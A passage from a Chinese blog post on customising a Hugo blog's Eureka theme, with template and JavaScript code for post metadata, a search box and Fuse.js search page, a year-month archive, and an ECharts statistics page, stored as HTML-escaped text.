layouts/partials/post_metadata_full.html */}} \u0026lt;div class=\u0026#34;flex flex-wrap flex-row items-center my-2 text-tertiary-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-calendar mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ .Date.Format (.Site.Params.dateFormat | default \u0026#34;2006-01-02\u0026#34;) }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; {{$resp := getJSON \u0026#34;https://imerd.comment.lithub.cc/comment?type=count\u0026amp;url=/\u0026#34; .Slug \u0026#34;.html\u0026#34; }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ .Permalink }}#waline-comments\u0026#34; title=\u0026#34;{{ .Title }}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-comment mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{- if gt $resp 0}}{{$resp}} 条评论{{else}}暂无评论{{end -}}\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; {{ if eq .Type \u0026#34;posts\u0026#34; -}} {{ with .OutputFormats.Get \u0026#34;MarkDown\u0026#34; -}} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-book mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;阅读Markdown格式\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; {{- end }} {{ end }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-pen mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ .WordCount }} 字\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-clock mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ i18n \u0026#34;readingTime\u0026#34; . }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; {{ with .GetTerms \u0026#34;categories\u0026#34; }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-folder mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{ range $index, $value := . }} {{ if gt $index 0 }} \u0026lt;span\u0026gt;, \u0026lt;/span\u0026gt; {{ end -}} \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34; class=\u0026#34;hover:text-eureka\u0026#34;\u0026gt;{{ .LinkTitle }}\u0026lt;/a\u0026gt; {{ end }} \u0026lt;/div\u0026gt; {{ end }} {{ with .GetTerms \u0026#34;series\u0026#34; }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-th-list mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{ range $index, $value := . }} {{ if gt $index 0 }} \u0026lt;span\u0026gt;, \u0026lt;/span\u0026gt; {{ end -}} \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34; class=\u0026#34;hover:text-eureka\u0026#34;\u0026gt;{{ .LinkTitle }}\u0026lt;/a\u0026gt; {{ end }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;/div\u0026gt; 搜索框 搜索也是博客比较重要的功能，为了方便我在顶部增加了搜索框。创建 layouts/partials/header.html 文件用来覆盖默认的头部模板。\n{{/* layouts/partials/header.html */}} \u0026lt;script\u0026gt; let storageColorScheme = localStorage.getItem(\u0026#34;lightDarkMode\u0026#34;) {{- if eq .Site.Params.colorScheme \u0026#34;light\u0026#34; }} if ((storageColorScheme == \u0026#39;Auto\u0026#39; \u0026amp;\u0026amp; window.matchMedia(\u0026#34;(prefers-color-scheme: dark)\u0026#34;).matches) || storageColorScheme == \u0026#34;Dark\u0026#34;) { document.getElementsByTagName(\u0026#39;html\u0026#39;)[0].classList.add(\u0026#39;dark\u0026#39;) } {{- else if eq .Site.Params.colorScheme \u0026#34;dark\u0026#34; }} if ((storageColorScheme == \u0026#39;Auto\u0026#39; \u0026amp;\u0026amp; window.matchMedia(\u0026#34;(prefers-color-scheme: light)\u0026#34;).matches) || storageColorScheme == \u0026#34;Light\u0026#34;) { document.getElementsByTagName(\u0026#39;html\u0026#39;)[0].classList.remove(\u0026#39;dark\u0026#39;) } {{- else }} if (((storageColorScheme == \u0026#39;Auto\u0026#39; || storageColorScheme == null) \u0026amp;\u0026amp; window.matchMedia(\u0026#34;(prefers-color-scheme: dark)\u0026#34;).matches) || storageColorScheme == \u0026#34;Dark\u0026#34;) { document.getElementsByTagName(\u0026#39;html\u0026#39;)[0].classList.add(\u0026#39;dark\u0026#39;) } {{- end }} \u0026lt;/script\u0026gt; \u0026lt;nav class=\u0026#34;flex items-center justify-between flex-wrap px-4 py-4 md:py-0\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ \u0026#34;/\u0026#34; | relLangURL }}\u0026#34; class=\u0026#34;mr-6 text-primary-text text-xl font-bold\u0026#34;\u0026gt;{{ .Site.Title }}\u0026lt;/a\u0026gt; \u0026lt;button id=\u0026#34;navbar-btn\u0026#34; class=\u0026#34;md:hidden flex items-center px-3 py-2\u0026#34; aria-label=\u0026#34;Open Navbar\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-bars\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;target\u0026#34; class=\u0026#34;hidden block md:flex md:flex-grow md:justify-between md:items-center w-full md:w-auto text-primary-text z-20\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;md:flex md:h-16 text-sm md:flex-grow pb-4 md:pb-0 border-b md:border-b-0\u0026#34;\u0026gt; {{- $relPermalink := .RelPermalink }} {{- range .Site.Menus.main }} {{- $url := .URL | relLangURL }} \u0026lt;a href=\u0026#34;{{ $url }}\u0026#34; class=\u0026#34;block mt-4 md:inline-block md:mt-0 md:h-(16-4px) md:leading-(16-4px) box-border md:border-t-2 md:border-b-2 {{ if hasPrefix $relPermalink $url }} selected-menu-item {{ else }} border-transparent {{ end }} mr-4\u0026#34;\u0026gt;{{ .Name }}\u0026lt;/a\u0026gt; {{- end }} \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;flex\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;search-container relative pt-4 md:pt-0\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;search\u0026#34;\u0026gt; \u0026lt;form role=\u0026#34;search\u0026#34; class=\u0026#34;search-form\u0026#34; action=\u0026#34;/search.html\u0026#34; method=\u0026#34;get\u0026#34;\u0026gt; \u0026lt;label\u0026gt; \u0026lt;input name=\u0026#34;q\u0026#34; type=\u0026#34;text\u0026#34; placeholder=\u0026#34;搜索 ...\u0026#34; class=\u0026#34;search-field\u0026#34;\u0026gt; \u0026lt;/label\u0026gt; \u0026lt;button\u0026gt; \u0026lt;i class=\u0026#34;fas fa-search\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;relative pl-4 pt-4 md:pt-0\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;cursor-pointer hover:text-eureka\u0026#34; id=\u0026#34;lightDarkMode\u0026#34;\u0026gt; {{- if eq .Site.Params.colorScheme \u0026#34;dark\u0026#34; }} \u0026lt;i class=\u0026#34;fas fa-moon\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{- else if eq .Site.Params.colorScheme \u0026#34;light\u0026#34; }} \u0026lt;i class=\u0026#34;fas fa-sun\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{- else }} \u0026lt;i class=\u0026#34;fas fa-adjust\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{- end }} \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;fixed hidden inset-0 opacity-0 h-full w-full cursor-default z-30\u0026#34; id=\u0026#34;is-open\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;absolute flex flex-col left-0 md:left-auto right-auto md:right-0 hidden bg-secondary-bg w-48 rounded py-2 border border-tertiary-bg cursor-pointer z-40\u0026#34; id=\u0026#39;lightDarkOptions\u0026#39;\u0026gt; \u0026lt;span class=\u0026#34;px-4 py-1 hover:text-eureka\u0026#34; name=\u0026#34;Light\u0026#34;\u0026gt;{{i18n \u0026#34;light\u0026#34;}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;px-4 py-1 hover:text-eureka\u0026#34; name=\u0026#34;Dark\u0026#34;\u0026gt;{{i18n \u0026#34;dark\u0026#34;}}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;px-4 py-1 hover:text-eureka\u0026#34; name=\u0026#34;Auto\u0026#34;\u0026gt;{{i18n \u0026#34;auto\u0026#34;}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{- if .IsTranslated }} \u0026lt;div class=\u0026#34;relative pt-4 pl-4 md:pt-0\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;cursor-pointer hover:text-eureka\u0026#34; id=\u0026#34;languageMode\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-globe\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span class=\u0026#34;pl-1\u0026#34;\u0026gt;{{ .Language.LanguageName }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;fixed hidden inset-0 opacity-0 h-full w-full cursor-default z-30\u0026#34; id=\u0026#34;is-open-lang\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;absolute flex flex-col left-0 md:left-auto right-auto md:right-0 hidden bg-secondary-bg w-48 rounded py-2 border border-tertiary-bg cursor-pointer z-40\u0026#34; id=\u0026#39;languageOptions\u0026#39;\u0026gt; \u0026lt;a class=\u0026#34;px-4 py-1 hover:text-eureka\u0026#34; href=\u0026#34;{{ .Permalink }}\u0026#34;\u0026gt;{{ .Language.LanguageName }}\u0026lt;/a\u0026gt; {{- range .Translations }} \u0026lt;a class=\u0026#34;px-4 py-1 hover:text-eureka\u0026#34; href=\u0026#34;{{ .Permalink }}\u0026#34;\u0026gt;{{ .Language.LanguageName }}\u0026lt;/a\u0026gt; {{- end }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{- end }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;fixed hidden inset-0 opacity-0 h-full w-full cursor-default z-0\u0026#34; id=\u0026#34;is-open-mobile\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/nav\u0026gt; \u0026lt;script\u0026gt; let element = document.getElementById(\u0026#39;lightDarkMode\u0026#39;) {{- if eq .Site.Params.colorScheme \u0026#34;light\u0026#34; }} if (storageColorScheme == \u0026#39;Auto\u0026#39;) { element.firstElementChild.classList.remove(\u0026#39;fa-sun\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;adjust\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-adjust\u0026#39;) document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { switchMode(\u0026#39;Auto\u0026#39;) }) } else if (storageColorScheme == \u0026#34;Dark\u0026#34;) { element.firstElementChild.classList.remove(\u0026#39;fa-sun\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;moon\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-moon\u0026#39;) } {{- else if eq .Site.Params.colorScheme \u0026#34;dark\u0026#34; }} if (storageColorScheme == \u0026#39;Auto\u0026#39;) { element.firstElementChild.classList.remove(\u0026#39;fa-moon\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;adjust\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-adjust\u0026#39;) document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { switchMode(\u0026#39;Auto\u0026#39;) }) } else if (storageColorScheme == \u0026#34;Light\u0026#34;) { element.firstElementChild.classList.remove(\u0026#39;fa-moon\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;sun\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-sun\u0026#39;) } {{- else }} if (storageColorScheme == null || storageColorScheme == \u0026#39;Auto\u0026#39;) { document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { switchMode(\u0026#39;Auto\u0026#39;) }) } else if (storageColorScheme == \u0026#34;Light\u0026#34;) { element.firstElementChild.classList.remove(\u0026#39;fa-adjust\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;sun\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-sun\u0026#39;) } else if (storageColorScheme == \u0026#34;Dark\u0026#34;) { element.firstElementChild.classList.remove(\u0026#39;fa-adjust\u0026#39;) element.firstElementChild.setAttribute(\u0026#34;data-icon\u0026#34;, \u0026#39;moon\u0026#39;) element.firstElementChild.classList.add(\u0026#39;fa-moon\u0026#39;) } {{- end }} document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { getcolorscheme(); switchBurger(); {{- if .IsTranslated }} switchLanguage() {{- end }} }); \u0026lt;/script\u0026gt; 大部分的内容都是 Eureka 主题提供的，除了增加了 #search-container 搜索框部分。为了让搜索框更美观一点，我在 layouts/partials/custom-head.html 中自定义了一些样式。\n.search-container { margin-top: -0.3rem; } .search-container .search { border: 1px solid #e2e8f0; border-radius: 4px; } .search-container input { padding-left: 1rem; line-height: 2rem; outline: none; background: transparent; } .search-container button { font-size: 0.8rem; margin-right: 0.5rem; color: #e2e8f0; } 最终搜索框跳转至单独的搜索页面。关于如何给 Hugo 博客添加搜索功能，可查看我之前的文章 《Hugo 之旅》。我这边提供一下我的搜索结果页模板。\n{{/* layouts/_default/search.html */}} {{ define \u0026#34;main\u0026#34; }} \u0026lt;div class=\u0026#34;w-full max-w-screen-xl lg:px-4 xl:px-8 mx-auto\u0026#34;\u0026gt; \u0026lt;article class=\u0026#34;mx-6 my-8\u0026#34;\u0026gt; \u0026lt;h1 id=\u0026#34;search-count\u0026#34; class=\u0026#34;font-bold text-3xl text-primary-text\u0026#34;\u0026gt;\u0026lt;/h1\u0026gt; \u0026lt;/article\u0026gt; \u0026lt;div id=\u0026#34;search-result\u0026#34; class=\u0026#34;bg-secondary-bg rounded overflow-hidden px-4 divide-y\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/fuse.js/3.2.0/fuse.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, async () =\u0026gt; { const qs = new URLSearchParams(location.search); const searchResult = document.querySelector(\u0026#39;#search-result\u0026#39;); const searchCount = document.querySelector(\u0026#39;#search-count\u0026#39;); const fuseOptions = { shouldSort: true, includeMatches: true, threshold: 0.0, tokenize: true, location: 0, distance: 100, maxPatternLength: 32, minMatchCharLength: 1, keys: [{ name: \u0026#34;title\u0026#34;, weight: 0.8 }, { name: \u0026#34;summary\u0026#34;, weight: 0.5 }, { name: \u0026#34;tags\u0026#34;, weight: 0.3 }, { name: \u0026#34;date\u0026#34;, weight: 0.3 }, ] }; let fuse = null async function getFuse() { if (fuse == null) { const resp = await fetch(\u0026#39;/index.json\u0026#39;, { method: \u0026#39;get\u0026#39; }) const indexData = await resp.json() fuse = new Fuse(indexData, fuseOptions); } return fuse } function render(items) { console.log(items); return items.map(item =\u0026gt; { item = item.item return ` \u0026lt;div class=\u0026#34;px-2 py-6\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col-reverse lg:flex-row justify-between\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;w-full lg:w-2/3\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;my-2\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mb-4\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;${item.permalink}\u0026#34; class=\u0026#34;font-bold text-xl hover:text-eureka\u0026#34;\u0026gt;${item.title}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; ${item.summary} \u0026lt;p class=\u0026#34;more\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;${item.permalink}\u0026#34; title=\u0026#34;${item.title}\u0026#34;\u0026gt;阅读全文\u0026lt;span class=\u0026#34;meta-nav\u0026#34;\u0026gt;→\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;flex flex-wrap flex-row items-center my-2 text-tertiary-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-calendar mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;${item.date}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;${item.permalink}#waline-comments\u0026#34; title=\u0026#34;${item.title}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-comment mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;${item.comments \u0026gt; 0 ? item.comments + \u0026#39; 条评论\u0026#39; : \u0026#39;暂无评论\u0026#39;}\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-clock mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;${item.time} 分钟阅读时长\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;w-full lg:w-1/3 mb-4 lg:mb-0 lg:ml-8\u0026#34;\u0026gt; ${item.featuredImage ? `\u0026lt;img src=\u0026#34;${item.featuredImage}\u0026#34; class=\u0026#34;w-full\u0026#34; alt=\u0026#34;Featured Image\u0026#34;\u0026gt;` : \u0026#39;\u0026#39;} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;`; }).join(\u0026#39;\u0026#39;); } function updateDOM(html, keyword, number) { document.title = document.title.replace(/包含关键词.*?文章/, `包含关键词 ${keyword} 的文章`) searchResult.innerHTML = html searchCount.innerHTML = `共查询到 ${number} 篇文章` } async function search(searchString) { console.log(searchString); let result = []; if(searchString) { const fuse = await getFuse() result = fuse.search(searchString) } const html = render(result) updateDOM(html, searchString, result.length) } document.querySelectorAll(\u0026#39;input[name=\u0026#34;q\u0026#34;]\u0026#39;).forEach(el =\u0026gt; el.value = qs.get(\u0026#39;q\u0026#39;)); search(qs.get(\u0026#39;q\u0026#39;) || \u0026#39;\u0026#39;) window.blogSearch = function(keyword) { if(!keyword) { return; } history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, location.pathname + \u0026#39;?q=\u0026#39; + encodeURIComponent(keyword)); document.querySelectorAll(\u0026#39;input[name=\u0026#34;q\u0026#34;]\u0026#39;).forEach(el =\u0026gt; el.value = keyword); search(keyword); } }) \u0026lt;/script\u0026gt; {{ end }} 归档 之前使用 Typecho 的时候有一个归档插件会按照年月列表展示文章，所以我在 Hugo 中按照之前的格式实现了一下。按照如下内容新建 layouts/_default/archive.html 文件，并新建文章 content/日志.md，文章内容为空即可，在文章的 meta 数据中指定 layout: archive 来映射到该模板。\n{{/* layouts/_default/archive.html */}} {{ define \u0026#34;main\u0026#34; }} {{ $hasToc := and (in .TableOfContents \u0026#34;\u0026lt;li\u0026gt;\u0026#34; ) (.Params.toc) }} {{ $hasSidebar := or ($hasToc) (.Params.series) }} \u0026lt;div class=\u0026#34;grid grid-cols-2 lg:grid-cols-8 gap-4 lg:pt-12\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-span-2 {{ if not $hasSidebar }} {{- print \u0026#34;lg:col-start-2\u0026#34; -}} {{ end }} lg:col-span-6 bg-secondary-bg rounded px-6 py-8\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;font-bold text-3xl text-primary-text\u0026#34;\u0026gt;{{ .Title }}\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;flex flex-wrap flex-row items-center my-2 text-tertiary-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-calendar mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ .Date.Format (.Site.Params.dateFormat | default \u0026#34;2006-01-02\u0026#34;) }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{ $featured := partial \u0026#34;utils/get-featured\u0026#34; . }} {{ with $featured }} \u0026lt;div class=\u0026#34;my-4\u0026#34;\u0026gt; {{ . }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;script type=\u0026#39;text/javascript\u0026#39; src=\u0026#34;https://lib.baomitu.com/jquery/1.11.1/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt;.car-collapse .car-yearmonth { cursor: s-resize; } \u0026lt;/style\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; /* \u0026lt;![CDATA[ */ jQuery(document).ready(function() { jQuery(\u0026#39;.car-collapse\u0026#39;).find(\u0026#39;.car-monthlisting\u0026#39;).hide(); jQuery(\u0026#39;.car-collapse\u0026#39;).find(\u0026#39;.car-monthlisting:first\u0026#39;).show(); jQuery(\u0026#39;.car-collapse\u0026#39;).find(\u0026#39;.car-yearmonth\u0026#39;).click(function() { jQuery(this).next(\u0026#39;ul\u0026#39;).slideToggle(\u0026#39;fast\u0026#39;); }); jQuery(\u0026#39;.car-collapse\u0026#39;).find(\u0026#39;.car-toggler\u0026#39;).click(function() { if ( \u0026#39;展开全部\u0026#39; == jQuery(this).text() ) { jQuery(this).parent(\u0026#39;.car-container\u0026#39;).find(\u0026#39;.car-monthlisting\u0026#39;).show(); jQuery(this).text(\u0026#39;折叠全部\u0026#39;); } else { jQuery(this).parent(\u0026#39;.car-container\u0026#39;).find(\u0026#39;.car-monthlisting\u0026#39;).hide(); jQuery(this).text(\u0026#39;展开全部\u0026#39;); } return false; }); }); /* ]]\u0026gt; */ \u0026lt;/script\u0026gt; \u0026lt;div class=\u0026#34;car-container car-collapse\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34; class=\u0026#34;car-toggler\u0026#34;\u0026gt;展开全部\u0026lt;/a\u0026gt; \u0026lt;ul class=\u0026#34;car-list\u0026#34;\u0026gt; {{ range (.Site.RegularPages.GroupByDate \u0026#34;01月 2006\u0026#34;) }} \u0026lt;li\u0026gt; \u0026lt;span class=\u0026#34;car-yearmonth\u0026#34;\u0026gt;{{ .Key }} \u0026lt;span title=\u0026#34;Post Count\u0026#34;\u0026gt;({{ len .Pages }})\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;ul class=\u0026#34;car-monthlisting\u0026#34;\u0026gt; {{ range .Pages }} \u0026lt;li\u0026gt; {{ .Date.Format \u0026#34;02\u0026#34;}}: \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34;\u0026gt;{{ .Title }} \u0026lt;/a\u0026gt; \u0026lt;!--\u0026lt;span title=\u0026#34;Comment Count\u0026#34;\u0026gt;(0)\u0026lt;/span\u0026gt;--\u0026gt; \u0026lt;/li\u0026gt; {{ end }} \u0026lt;/ul\u0026gt; \u0026lt;/li\u0026gt; {{ end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{ end }} 统计 屈屈的博客中还有一个统计页面，我觉得挺有意思的，于是也在我的博客中复刻了一下。按照如下内容新建 layouts/_default/stats.html 文件，并新建文章 content/统计.md，文章内容为空即可，在文章的 meta 数据中指定 layout: stats 来映射到该模板。\n{{/* layouts/_default/stats.html */}} {{ define \u0026#34;main\u0026#34; }} {{- $.Scratch.Add \u0026#34;stats\u0026#34; slice -}} {{- range .Site.RegularPages -}} {{- $.Scratch.Add \u0026#34;stats\u0026#34; (dict \u0026#34;title\u0026#34; .Title \u0026#34;slug\u0026#34; .Slug \u0026#34;year\u0026#34; (.Date.Format \u0026#34;2006\u0026#34;) \u0026#34;month\u0026#34; (.Date.Format \u0026#34;2006-01\u0026#34;) \u0026#34;hour\u0026#34; (.Date.Format \u0026#34;15\u0026#34;) \u0026#34;week\u0026#34; (.Date.Format \u0026#34;Monday\u0026#34;) \u0026#34;count\u0026#34; .WordCount) -}} {{- end -}} {{ $hasToc := and (in .TableOfContents \u0026#34;\u0026lt;li\u0026gt;\u0026#34; ) (.Params.toc) }} {{ $hasSidebar := or ($hasToc) (.Params.series) }} \u0026lt;style\u0026gt; .chart { margin-top: 15px; width: 100%; height: 350px; } \u0026lt;/style\u0026gt; \u0026lt;div class=\u0026#34;grid grid-cols-2 lg:grid-cols-8 gap-4 lg:pt-12\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-span-2 {{ if not $hasSidebar }} {{- print \u0026#34;lg:col-start-2\u0026#34; -}} {{ end }} lg:col-span-6 bg-secondary-bg rounded px-6 py-8\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;font-bold text-3xl text-primary-text\u0026#34;\u0026gt;{{ .Title }}\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;flex flex-wrap flex-row items-center my-2 text-tertiary-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-calendar mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ .Date.Format (.Site.Params.dateFormat | default \u0026#34;2006-01-02\u0026#34;) }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{ $featured := partial \u0026#34;utils/get-featured\u0026#34; . }} {{ with $featured }} \u0026lt;div class=\u0026#34;my-4\u0026#34;\u0026gt; {{ . }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; {{ .Content }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{ if $hasSidebar}} \u0026lt;div class=\u0026#34;col-span-2\u0026#34;\u0026gt; {{ if .GetTerms \u0026#34;series\u0026#34; }} {{ partial \u0026#34;components/post-series.html\u0026#34; . }} {{ end }} {{ if $hasToc }} {{ partial \u0026#34;components/post-toc.html\u0026#34; . }} {{ end }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://lib.baomitu.com/echarts/5.0.0/echarts.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; const data = {{- $.Scratch.Get \u0026#34;stats\u0026#34; -}}; function showChart(id, title, type, d) { var chart = echarts.init(document.getElementById(id)); var xData = []; var yData = []; d.forEach(function(item) { xData.push(item[0]); yData.push(item[1]); }); var option = { title : { text : title }, tooltip : { trigger : \u0026#39;axis\u0026#39; }, xAxis : [ { type : \u0026#39;category\u0026#39;, data : xData } ], yAxis : [ { type : \u0026#39;value\u0026#39; } ], grid : { x : 35, y : 45, x2 : 35, y2 : 35 }, series : [ { type : \u0026#39;bar\u0026#39;, name : type, data : yData, markLine : { data : [ { type : \u0026#39;average\u0026#39;, name : \u0026#39;平均值\u0026#39; }], itemStyle : { normal : { color : \u0026#39;#4087bd\u0026#39; } } }, itemStyle : { normal : { color : \u0026#39;#87cefa\u0026#39; } } }] }; chart.setOption(option); } window.addEventListener(\u0026#39;load\u0026#39;, function() { basicInfo(); yearStats(); monthStats(); hourStats(); weekStats(); }); function basicInfo() { const articles = {{ len (where .Site.RegularPages \u0026#34;Section\u0026#34; \u0026#34;posts\u0026#34;) }}; const pages = data.length - articles; const comments = data.reduce((count, article) =\u0026gt; count + article.comments, 0); const words = data.reduce((count, article) =\u0026gt; count + article.count, 0); document.querySelector(\u0026#39;#basic-info\u0026#39;).innerHTML = ` \u0026lt;span\u0026gt;文章：\u0026lt;strong\u0026gt;\u0026lt;a 